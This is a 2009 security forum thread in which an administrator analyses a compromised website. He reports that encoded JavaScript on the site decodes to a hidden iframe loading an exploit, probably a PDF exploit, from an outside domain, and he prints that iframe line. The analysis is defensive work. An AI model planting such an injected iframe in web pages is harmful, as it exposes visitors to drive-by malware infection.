Author Topic: hxxp://www.danceradioglobal.com/  (Read 3727 times)

0 Members and 1 Guest are viewing this topic.

August 04, 2009, 07:20:08 am
Read 3727 times

quendi

  • Jr. Member

  • Offline
  • **

  • 13
Hi!

Can anyone analyze what's happening with this domain hxxp://www.danceradioglobal.com/ ?

Thx a lot.

Note: an explained analysis could help me to ask less :) Thx again :)

August 04, 2009, 10:08:56 pm
Reply #1

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
It contains encoded JS that when decoded, shows it loading an exploit at the following;

Code: [Select]
<iframe src='http://www.googleledal.com/traff1/go.php?sid=1'></iframe>
Likely a PDF exploit, but sadly this is returning a 404 for me at present.
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

August 06, 2009, 11:51:04 pm
Reply #2

quendi

  • Jr. Member

  • Offline
  • **

  • 13
Thx a lot for the info :)

August 06, 2009, 11:58:39 pm
Reply #3

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net